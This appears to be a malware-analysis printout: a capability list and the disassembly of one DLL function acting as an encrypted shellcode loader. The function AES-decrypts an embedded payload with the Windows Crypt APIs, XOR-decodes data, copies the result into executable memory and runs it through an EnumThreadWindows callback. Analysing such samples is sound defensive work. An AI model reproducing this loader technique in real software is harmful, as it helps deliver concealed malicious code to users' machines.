Function at 0x180001030
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Encode data using xor
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Execute shellcode via windows callback function
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x310]
sub rsp, 0x410
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x300], rax
xor r9d, r9d
lea r8, str.test
lea rdx, str.daocchuhanshu
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ebx, 7
mov dword [rsp + 0x50], 0x22f46608
mov edx, ebx
mov dword [rsp + 0x54], 0x95ae7625
mov dword [rsp + 0x58], 0x5a56e54c
lea rax, [rsp + 0x60]
mov dword [rsp + 0x5c], 0x475c1499
lea rcx, [0x180003250]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x1800010a2
movups xmm0, xmmword [rcx]
lea r9d, [rdx + 0x18]
xor r8d, r8d
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rsp + 0x38]
mov dword [rsp + 0x30], 0x3a0
movups xmmword [rax], xmm0
mov dword [rsp + 0x20], 0xf0000000
movups xmmword [rax + 0x10], xmm1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1800011e4
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1800011e4
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x50]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1800011e4
mov r8, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1800011e4
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1800011e4
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
movdqa xmm2, xmmword [0x1800035f0]
lea rax, [rbp - 0x80]
mov ecx, 0xe
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x60], xmm0
movdqu xmm0, xmmword [rax - 0x50]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
xorps xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
sub rcx, 1
jne 0x180001200
lea rax, [rbp + 0x2e0]
mov ecx, 0x20
nop word [rax + rax]
xor byte [rax], 0xa
lea rax, [rax + 1]
sub rcx, 1
jne 0x180001250
mov edx, 0x3a0
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
lea rcx, [rsp + 0x60]
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rdx - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm1
sub rbx, 1
jne 0x180001280
movups xmm0, xmmword [rcx]
xor r8d, r8d
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
xor ecx, ecx
movups xmmword [rdx + 0x10], xmm1
mov rdx, rax
call qword [sym.imp.USER32.dll_EnumThreadWindows]
xor eax, eax
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.180001330
mov rbx, qword [rsp + 0x420]
add rsp, 0x410
pop rbp
ret